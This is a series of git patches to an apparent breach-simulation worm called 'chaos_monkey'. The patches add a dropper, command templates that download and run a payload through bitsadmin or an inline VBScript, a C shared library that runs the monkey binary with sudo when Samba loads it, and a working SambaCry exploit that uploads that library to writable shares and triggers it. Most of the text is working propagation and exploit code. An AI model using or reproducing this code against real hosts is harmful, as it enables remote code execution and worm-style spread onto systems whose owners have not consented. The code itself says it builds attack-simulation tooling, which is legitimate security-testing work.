From 6f74a5e6cca1c18dadbd6c7c735db17f9c52ff57 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 27 Aug 2017 19:18:11 +0300 Subject: [PATCH 01/32] Add arg parsing to dropper --- chaos_monkey/dropper.py | 30 ++++++++++++++++++++++++++---- 1 file changed, 26 insertions(+), 4 deletions(-) diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py index 4da753c72..15870e2da 100644 --- a/chaos_monkey/dropper.py +++ b/chaos_monkey/dropper.py @@ -6,6 +6,7 @@ import shutil import pprint import logging import subprocess +import argparse from ctypes import c_char_p from model import MONKEY_CMDLINE from config import WormConfiguration @@ -24,14 +25,27 @@ MOVEFILE_DELAY_UNTIL_REBOOT = 4 class MonkeyDrops(object): def __init__(self, args): - self._monkey_args = args[1:] + arg_parser = argparse.ArgumentParser() + arg_parser.add_argument('-p', '--parent') + arg_parser.add_argument('-t', '--tunnel') + arg_parser.add_argument('-s', '--server') + arg_parser.add_argument('-d', '--depth') + arg_parser.add_argument('-l', '--location') + self.monkey_args = args[1:] + self.opts, _ = arg_parser.parse_known_args(args) + self._config = {'source_path': os.path.abspath(sys.argv[0]), - 'destination_path': args[0]} + 'destination_path': self.opts.location} def initialize(self): LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config)) def start(self): + + if self._config['destination_path'] is None: + # TODO: log or something. + return + # we copy/move only in case path is different file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower()) @@ -81,8 +95,16 @@ class MonkeyDrops(object): monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path'], } - if 0 != len(self._monkey_args): - monkey_cmdline = "%s %s" % (monkey_cmdline, " ".join(self._monkey_args)) + + if self.opts.parent: + monkey_cmdline += "-p %s" % self.opts.parent + if self.opts.tunnel: + monkey_cmdline += "-t %s" % self.opts.tunnel + if self.opts.server: + monkey_cmdline += "-s %s" % self.opts.server + if self.opts.depth: + monkey_cmdline += "-d %s" % self.opts.depth + monkey_process = subprocess.Popen(monkey_cmdline, shell=True, stdin=None, stdout=None, stderr=None, close_fds=True, creationflags=DETACHED_PROCESS) From 332a11b2723f962c53f26643288fc887c01da703 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 28 Aug 2017 09:41:27 +0300 Subject: [PATCH 02/32] minor fix in dropper --- chaos_monkey/dropper.py | 17 ++++++++++------- chaos_monkey/model/__init__.py | 2 ++ 2 files changed, 12 insertions(+), 7 deletions(-) diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py index 15870e2da..070c46751 100644 --- a/chaos_monkey/dropper.py +++ b/chaos_monkey/dropper.py @@ -10,6 +10,7 @@ import argparse from ctypes import c_char_p from model import MONKEY_CMDLINE from config import WormConfiguration +from system_info import SystemInfoCollector, OperatingSystem if "win32" == sys.platform: from win32process import DETACHED_PROCESS @@ -92,19 +93,21 @@ class MonkeyDrops(object): except: LOG.warn("Cannot set reference date to destination file") - monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path'], - } + if OperatingSystem.Windows == SystemInfoCollector.get_os(): + monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path']} + else: + monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path']} if self.opts.parent: - monkey_cmdline += "-p %s" % self.opts.parent + monkey_cmdline += " -p %s" % self.opts.parent if self.opts.tunnel: - monkey_cmdline += "-t %s" % self.opts.tunnel + monkey_cmdline += " -t %s" % self.opts.tunnel if self.opts.server: - monkey_cmdline += "-s %s" % self.opts.server + monkey_cmdline += " -s %s" % self.opts.server if self.opts.depth: - monkey_cmdline += "-d %s" % self.opts.depth - + monkey_cmdline += " -d %s" % self.opts.depth + monkey_process = subprocess.Popen(monkey_cmdline, shell=True, stdin=None, stdout=None, stderr=None, close_fds=True, creationflags=DETACHED_PROCESS) diff --git a/chaos_monkey/model/__init__.py b/chaos_monkey/model/__init__.py index 67c06bf47..1e835cfb5 100644 --- a/chaos_monkey/model/__init__.py +++ b/chaos_monkey/model/__init__.py @@ -5,7 +5,9 @@ __author__ = 'itamar' MONKEY_ARG = "m0nk3y" DROPPER_ARG = "dr0pp3r" DROPPER_CMDLINE = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) +# TODO: rename to WINDOWS/LINUX appropriately MONKEY_CMDLINE = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) +MONKEY_CMDLINE_LINUX = './%%(monkey_path)s %s' % (MONKEY_ARG, ) DROPPER_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, ) From 9f93fb8310230ba9218185347ddf16398f0493c7 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 28 Aug 2017 09:46:29 +0300 Subject: [PATCH 03/32] minor fix in dropper --- chaos_monkey/dropper.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py index 070c46751..35390786d 100644 --- a/chaos_monkey/dropper.py +++ b/chaos_monkey/dropper.py @@ -8,7 +8,7 @@ import logging import subprocess import argparse from ctypes import c_char_p -from model import MONKEY_CMDLINE +from model import MONKEY_CMDLINE, MONKEY_CMDLINE_LINUX from config import WormConfiguration from system_info import SystemInfoCollector, OperatingSystem @@ -96,7 +96,7 @@ class MonkeyDrops(object): if OperatingSystem.Windows == SystemInfoCollector.get_os(): monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path']} else: - monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path']} + monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_path': self._config['destination_path']} if self.opts.parent: From 57e69fafee185fe7ab2859789982cbf789bb5be1 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 28 Aug 2017 10:41:11 +0300 Subject: [PATCH 04/32] minor fix in dropper Rename constants --- chaos_monkey/dropper.py | 25 ++++++++++++++----------- chaos_monkey/exploit/smbexec.py | 6 +++--- chaos_monkey/exploit/win_ms08_067.py | 6 +++--- chaos_monkey/exploit/wmiexec.py | 6 +++--- chaos_monkey/model/__init__.py | 12 ++++++------ 5 files changed, 29 insertions(+), 26 deletions(-) diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py index 35390786d..d624775c6 100644 --- a/chaos_monkey/dropper.py +++ b/chaos_monkey/dropper.py @@ -8,7 +8,7 @@ import logging import subprocess import argparse from ctypes import c_char_p -from model import MONKEY_CMDLINE, MONKEY_CMDLINE_LINUX +from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX from config import WormConfiguration from system_info import SystemInfoCollector, OperatingSystem @@ -93,20 +93,23 @@ class MonkeyDrops(object): except: LOG.warn("Cannot set reference date to destination file") - if OperatingSystem.Windows == SystemInfoCollector.get_os(): - monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path']} - else: - monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_path': self._config['destination_path']} - - + monkey_options = "" if self.opts.parent: - monkey_cmdline += " -p %s" % self.opts.parent + monkey_options += " -p %s" % self.opts.parent if self.opts.tunnel: - monkey_cmdline += " -t %s" % self.opts.tunnel + monkey_options += " -t %s" % self.opts.tunnel if self.opts.server: - monkey_cmdline += " -s %s" % self.opts.server + monkey_options += " -s %s" % self.opts.server if self.opts.depth: - monkey_cmdline += " -d %s" % self.opts.depth + monkey_options += " -d %s" % self.opts.depth + + if OperatingSystem.Windows == SystemInfoCollector.get_os(): + monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options + else: + dest_path = self._config['destination_path'] + monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options + monkey_cmdline = GENERAL_CMDLINE_LINUX % {'monkey_directory': dest_path[0:dest_path.rfind("/")], + 'monkey_commandline': monkey_cmdline} monkey_process = subprocess.Popen(monkey_cmdline, shell=True, stdin=None, stdout=None, stderr=None, diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py index 307cbfa02..e23818f4d 100644 --- a/chaos_monkey/exploit/smbexec.py +++ b/chaos_monkey/exploit/smbexec.py @@ -1,7 +1,7 @@ import sys from logging import getLogger from model.host import VictimHost -from model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED +from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS from exploit import HostExploiter from network.tools import check_port_tcp from exploit.tools import SmbTools, get_target_monkey @@ -99,9 +99,9 @@ class SmbExploiter(HostExploiter): # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path.lower(): - cmdline = DROPPER_CMDLINE_DETACHED % {'dropper_path': remote_full_path} + cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} else: - cmdline = MONKEY_CMDLINE_DETACHED % {'monkey_path': remote_full_path} + cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} cmdline += build_monkey_commandline(host, depth - 1) diff --git a/chaos_monkey/exploit/win_ms08_067.py b/chaos_monkey/exploit/win_ms08_067.py index 02f144851..a372070a8 100644 --- a/chaos_monkey/exploit/win_ms08_067.py +++ b/chaos_monkey/exploit/win_ms08_067.py @@ -12,7 +12,7 @@ import socket from enum import IntEnum from logging import getLogger from model.host import VictimHost -from model import DROPPER_CMDLINE, MONKEY_CMDLINE +from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from . import HostExploiter from exploit.tools import SmbTools, get_target_monkey from network.tools import check_port_tcp @@ -249,9 +249,9 @@ class Ms08_067_Exploiter(HostExploiter): # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path.lower(): - cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path} + cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} else: - cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path} + cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} cmdline += build_monkey_commandline(host, depth - 1) diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py index 8b4231793..298ec5436 100644 --- a/chaos_monkey/exploit/wmiexec.py +++ b/chaos_monkey/exploit/wmiexec.py @@ -3,7 +3,7 @@ import ntpath import logging import traceback from tools import build_monkey_commandline -from model import DROPPER_CMDLINE, MONKEY_CMDLINE +from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from model.host import VictimHost from exploit import HostExploiter from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, report_failed_login @@ -84,9 +84,9 @@ class WmiExploiter(HostExploiter): return False # execute the remote dropper in case the path isn't final elif remote_full_path.lower() != self._config.dropper_target_path.lower(): - cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path} + cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} else: - cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path} + cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} cmdline += build_monkey_commandline(host, depth - 1) diff --git a/chaos_monkey/model/__init__.py b/chaos_monkey/model/__init__.py index 1e835cfb5..1296570e1 100644 --- a/chaos_monkey/model/__init__.py +++ b/chaos_monkey/model/__init__.py @@ -4,12 +4,12 @@ __author__ = 'itamar' MONKEY_ARG = "m0nk3y" DROPPER_ARG = "dr0pp3r" -DROPPER_CMDLINE = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) -# TODO: rename to WINDOWS/LINUX appropriately -MONKEY_CMDLINE = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) -MONKEY_CMDLINE_LINUX = './%%(monkey_path)s %s' % (MONKEY_ARG, ) -DROPPER_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) -MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) +DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) +MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) +MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, ) +GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)' +DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) +MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) From c254412c9f78b4168d8491ebbfc6655b10b6e0a6 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 28 Aug 2017 16:37:33 +0300 Subject: [PATCH 05/32] Add monkey_runner.so sourcecode --- chaos_monkey/monkey_utils/build.sh | 2 + chaos_monkey/monkey_utils/monkey_runner.c | 138 ++++++++++++++++++++++ chaos_monkey/monkey_utils/monkey_runner.h | 7 ++ 3 files changed, 147 insertions(+) create mode 100644 chaos_monkey/monkey_utils/build.sh create mode 100644 chaos_monkey/monkey_utils/monkey_runner.c create mode 100644 chaos_monkey/monkey_utils/monkey_runner.h diff --git a/chaos_monkey/monkey_utils/build.sh b/chaos_monkey/monkey_utils/build.sh new file mode 100644 index 000000000..958a2588c --- /dev/null +++ b/chaos_monkey/monkey_utils/build.sh @@ -0,0 +1,2 @@ +gcc -c -Wall -Werror -fpic monkey_runner.c +gcc -shared -o monkey_runner.so monkey_runner.o \ No newline at end of file diff --git a/chaos_monkey/monkey_utils/monkey_runner.c b/chaos_monkey/monkey_utils/monkey_runner.c new file mode 100644 index 000000000..e83ad82dc --- /dev/null +++ b/chaos_monkey/monkey_utils/monkey_runner.c @@ -0,0 +1,138 @@ +#include +#include +#include +#include +#include + +#include "monkey_runner.h" + +#define LINE_MAX_LENGTH (2048) +#define MAX_PARAMETERS (30) + +int samba_init_module(void) +{ + const char RUNNER_FILENAME[] = "monkey_runner.so"; + const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt"; + const char ACCESS_MODE_STRING[] = "0777"; + const char MONKEY_NAME[] = "monkey"; + const char MONKEY_COPY_NAME[] = "monkey2"; + const char RUN_MONKEY_CMD[] = "sudo ./"; + + int found = 0; + char modulePathLine[LINE_MAX_LENGTH]; + char commandline[LINE_MAX_LENGTH] = {'\0'}; + char* monkeyDirectory; + char* fileNamePointer; + int accessMode; + FILE * pFile; + pid_t pid = 0; + int monkeySize; + void* monkeyBinary; + + pid = fork(); + + if (pid != 0) + { + // error or this is parent - nothing to do but return. + return 0; + } + + // Find fullpath of running module. + pFile = fopen("/proc/self/maps", "r"); + if (pFile == NULL) + { + return 0; + } + + while (fgets(modulePathLine, LINE_MAX_LENGTH, pFile) != NULL) { + fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME); + if (fileNamePointer != NULL) { + found = 1; + break; + } + } + + fclose(pFile); + + // We can't find ourselves in module list + if (found == 0) + { + return 0; + } + + monkeyDirectory = strchr(modulePathLine, '/'); + *fileNamePointer = '\0'; + + if (chdir(monkeyDirectory) < 0) + { + return 0; + } + + // Read commandline + pFile = fopen(COMMANDLINE_FILENAME, "r"); + if (pFile == NULL) + { + return 0; + } + + // Build commandline + strcpy(commandline, RUN_MONKEY_CMD); + strcpy(commandline + strlen(RUN_MONKEY_CMD), MONKEY_COPY_NAME); + commandline[strlen(RUN_MONKEY_CMD) + strlen(MONKEY_COPY_NAME)] = ' '; + + fread(commandline + strlen(RUN_MONKEY_CMD) + strlen(MONKEY_COPY_NAME) + 1, 1, LINE_MAX_LENGTH, pFile); + fclose(pFile); + + // Copy monkey to new file so we'll own it. + pFile = fopen(MONKEY_NAME, "rb"); + + if (pFile == NULL) + { + return 0; + } + + if (0 != fseek (pFile , 0 , SEEK_END)) + { + return 0; + } + + monkeySize = ftell (pFile); + + if (-1 == monkeySize) + { + return 0; + } + + rewind(pFile); + + monkeyBinary = malloc(monkeySize); + + if (0 == monkeyBinary) + { + return 0; + } + + fread(monkeyBinary, 1, monkeySize, pFile); + fclose(pFile); + + pFile = fopen(MONKEY_COPY_NAME, "wb"); + fwrite(monkeyBinary, 1, monkeySize, pFile); + fclose(pFile); + free(monkeyBinary); + + // Change monkey permissions + accessMode = strtol(ACCESS_MODE_STRING, 0, 8); + if (chmod (MONKEY_COPY_NAME, accessMode) < 0) + { + return 0; + } + + system(commandline); + + return 0; +} + +int init_samba_module(void) +{ + return samba_init_module(); +} \ No newline at end of file diff --git a/chaos_monkey/monkey_utils/monkey_runner.h b/chaos_monkey/monkey_utils/monkey_runner.h new file mode 100644 index 000000000..86db653c8 --- /dev/null +++ b/chaos_monkey/monkey_utils/monkey_runner.h @@ -0,0 +1,7 @@ +#ifndef monkey_runner_h__ +#define monkey_runner_h__ + +extern int samba_init_module(void); +extern int init_samba_module(void); + +#endif // monkey_runner_h__ \ No newline at end of file From 919e462a48e4e0123580c67fedb0d0dda42a4cd4 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 28 Aug 2017 18:32:38 +0300 Subject: [PATCH 06/32] remove grequests from monkey-linux spec --- chaos_monkey/monkey-linux.spec | 2 +- chaos_monkey/monkey.spec | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/chaos_monkey/monkey-linux.spec b/chaos_monkey/monkey-linux.spec index 5ebd9779e..16e88810d 100644 --- a/chaos_monkey/monkey-linux.spec +++ b/chaos_monkey/monkey-linux.spec @@ -7,7 +7,7 @@ a = Analysis(['main.py'], pathex=['.'], binaries=None, datas=None, - hiddenimports=['_cffi_backend','grequests'], + hiddenimports=['_cffi_backend'], hookspath=None, runtime_hooks=None, excludes=None, diff --git a/chaos_monkey/monkey.spec b/chaos_monkey/monkey.spec index 11df45517..96c811efd 100644 --- a/chaos_monkey/monkey.spec +++ b/chaos_monkey/monkey.spec @@ -3,7 +3,7 @@ import os import platform a = Analysis(['main.py'], pathex=['.'], - hiddenimports=['_cffi_backend', 'queue','grequests'], + hiddenimports=['_cffi_backend', 'queue'], hookspath=None, runtime_hooks=None) From 7d72150e4ee72e2e5c6918ca6397b3238ba2d25c Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 28 Aug 2017 19:20:44 +0300 Subject: [PATCH 07/32] Add working POC of sambacry. still needs some modifications to fir monkey, and minor functionality --- chaos_monkey/exploit/sambacry.py | 230 +++++++++++++++++++++++++++++++ 1 file changed, 230 insertions(+) create mode 100644 chaos_monkey/exploit/sambacry.py diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py new file mode 100644 index 000000000..5973b9f59 --- /dev/null +++ b/chaos_monkey/exploit/sambacry.py @@ -0,0 +1,230 @@ +from optparse import OptionParser +from impacket.dcerpc.v5 import transport +from os import path +from impacket.smbconnection import SMBConnection +from impacket.smb import SessionError +from impacket.nt_errors import STATUS_OBJECT_NAME_NOT_FOUND, STATUS_ACCESS_DENIED +from impacket.nt_errors import STATUS_SUCCESS +from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \ + FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE +from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \ + SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA +__author__ = 'itay.mizeretz' + +# TODO: add documentation +# TODO: add author +# TODO: add logs +# TODO: add exception handling + +# TODO: remove /home/user +# TODO: take all from config +FOLDER_PATHS_TO_GUESS = ['/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '', '/home/user'] +RUNNER_FILENAME = "monkey_runner.so" +COMMANDLINE_FILENAME = "monkey_commandline.txt" +MONKEY_FILENAME = "monkey" + + +def main(): + parser = OptionParser() + parser.add_option("-t", "--target", dest="target") + + (options, args) = parser.parse_args() + if options.target: + exploiter = SambaCryExploiter() + exploiter.exploit(options.target) + else: + parser.print_help() + +# TODO: inherit from HostExploiter +class SambaCryExploiter: + _target_os_type = ['linux'] + + def __init__(self): + self.module_binary = "" + + def exploit(self, ip): + self.assert_smb_version() + writable_shares = [] + credentials_list = self.get_credentials_list() + for credentials in credentials_list: + smb_client = self.connect_to_server(ip, credentials) + shares = self.list_shares(smb_client) + for share in shares: + if self.upload_module(smb_client, share): + writable_shares.append(share) + self.trigger_module(smb_client, share) + # TODO: delete remains + smb_client.logoff() + + def get_credentials_list(self): + # TODO: get credentials from config + return [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}] + + def list_shares(self, smb_client): + shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()] + shares.remove("IPC$") + return shares + + def assert_smb_version(self): + # TODO: implement + pass + + def upload_module(self, smb_client, share): + try: + tree_id = smb_client.connectTree(share) + smb_client.putFile(share, "\\%s" % COMMANDLINE_FILENAME, self.get_monkey_commandline) + smb_client.putFile(share, "\\%s" % RUNNER_FILENAME, self.get_monkey_runner_bin) + smb_client.putFile(share, "\\%s" % MONKEY_FILENAME, self.get_monkey_bin) + smb_client.disconnectTree(tree_id) + return True + except SessionError as e: + if str(e).find('STATUS_ACCESS_DENIED') >= 0: + return False + raise + + def connect_to_server(self, ip, credentials): + """ + Connects to server using given credentials + :param ip: IP of server + :param credentials: credentials to log in with + :return: SMBConnection object representing the connection + """ + smb_client = SMBConnection(ip, ip) + smb_client.login(credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"]) + return smb_client + + def trigger_module(self, smb_client, share_name): + trigger_might_succeeded = False + module_possible_paths = self.generate_module_possible_paths(share_name) + for module_path in module_possible_paths: + trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path) + + return trigger_might_succeeded + + def trigger_module_by_path(self, smb_client, module_path): + """ + Tries triggering module by path + :param smb_client: smb client object + :param module_path: full path of the module. e.g. "/home/user/share/sc_module.so" + :return: False on unexpected exception. True otherwise + """ + + try: + # the extra / on the beginning is required for the vulnerability + self.openPipe(smb_client, "/" + module_path) + except SessionError as e: + # This is the expected result. We can't tell whether we succeeded or not just by this error code. + if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') < 0: + return False + + return True + + + def generate_module_possible_paths(self, share_name): + """ + Generates array of possible paths + :param share_name: Name of the share + :return: Array of possible full paths to the module. + """ + return (('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME)) for folder_path in FOLDER_PATHS_TO_GUESS) + + @staticmethod + def get_monkey_bin(): + # TODO + pass + + @staticmethod + def get_monkey_runner_bin(): + # TODO + pass + + @staticmethod + def get_monkey_commandline(): + # TODO + pass + + # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # + + def createSmb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes, + impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE, + createContexts=None): + + packet = smb_client.getSMBServer().SMB_PACKET() + packet['Command'] = SMB2_CREATE + packet['TreeID'] = treeId + if smb_client._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True: + packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS + + smb2Create = SMB2Create() + smb2Create['SecurityFlags'] = 0 + smb2Create['RequestedOplockLevel'] = oplockLevel + smb2Create['ImpersonationLevel'] = impersonationLevel + smb2Create['DesiredAccess'] = desiredAccess + smb2Create['FileAttributes'] = fileAttributes + smb2Create['ShareAccess'] = shareMode + smb2Create['CreateDisposition'] = creationDisposition + smb2Create['CreateOptions'] = creationOptions + + smb2Create['NameLength'] = len(fileName) * 2 + if fileName != '': + smb2Create['Buffer'] = fileName.encode('utf-16le') + else: + smb2Create['Buffer'] = '\x00' + + if createContexts is not None: + smb2Create['Buffer'] += createContexts + smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength'] + smb2Create['CreateContextsLength'] = len(createContexts) + else: + smb2Create['CreateContextsOffset'] = 0 + smb2Create['CreateContextsLength'] = 0 + + packet['Data'] = smb2Create + + packetID = smb_client.getSMBServer().sendSMB(packet) + ans = smb_client.getSMBServer().recvSMB(packetID) + if ans.isValidAnswer(STATUS_SUCCESS): + createResponse = SMB2Create_Response(ans['Data']) + + # The client MUST generate a handle for the Open, and it MUST + # return success and the generated handle to the calling application. + # In our case, str(FileID) + return str(createResponse['FileID']) + + def openPipe(self, smb_client, pathName): + # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style + # to make things easier for the caller. Not this time ;) + treeId = smb_client.connectTree('IPC$') + # TODO: uncomment + #logging.info('Final path to load is %s' % pathName) + #logging.info('Triggering bug now, cross your fingers') + + if smb_client.getDialect() == SMB_DIALECT: + _, flags2 = smb_client.getSMBServer().get_flags() + + pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName + + ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX) + ntCreate['Parameters'] = SMBNtCreateAndX_Parameters() + ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2) + ntCreate['Parameters']['FileNameLength'] = len(pathName) + ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA + ntCreate['Parameters']['FileAttributes'] = 0 + ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ + ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE + ntCreate['Parameters']['CreateOptions'] = FILE_OPEN + ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION + ntCreate['Parameters']['SecurityFlags'] = 0 + ntCreate['Parameters']['CreateFlags'] = 0x16 + ntCreate['Data']['FileName'] = pathName + + if flags2 & SMB.FLAGS2_UNICODE: + ntCreate['Data']['Pad'] = 0x0 + + return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) + else: + return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ, + creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) + +if __name__=="__main__": + main() \ No newline at end of file From 75e1877ea7ed01bfa27b14ead775630133f1b988 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 29 Aug 2017 15:32:14 +0300 Subject: [PATCH 08/32] Moved monkey_runner --- chaos_monkey/monkey_utils/{ => sambacry_monkey_runner}/build.sh | 0 .../monkey_utils/{ => sambacry_monkey_runner}/monkey_runner.c | 0 .../monkey_utils/{ => sambacry_monkey_runner}/monkey_runner.h | 0 3 files changed, 0 insertions(+), 0 deletions(-) rename chaos_monkey/monkey_utils/{ => sambacry_monkey_runner}/build.sh (100%) rename chaos_monkey/monkey_utils/{ => sambacry_monkey_runner}/monkey_runner.c (100%) rename chaos_monkey/monkey_utils/{ => sambacry_monkey_runner}/monkey_runner.h (100%) diff --git a/chaos_monkey/monkey_utils/build.sh b/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh similarity index 100% rename from chaos_monkey/monkey_utils/build.sh rename to chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh diff --git a/chaos_monkey/monkey_utils/monkey_runner.c b/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c similarity index 100% rename from chaos_monkey/monkey_utils/monkey_runner.c rename to chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c diff --git a/chaos_monkey/monkey_utils/monkey_runner.h 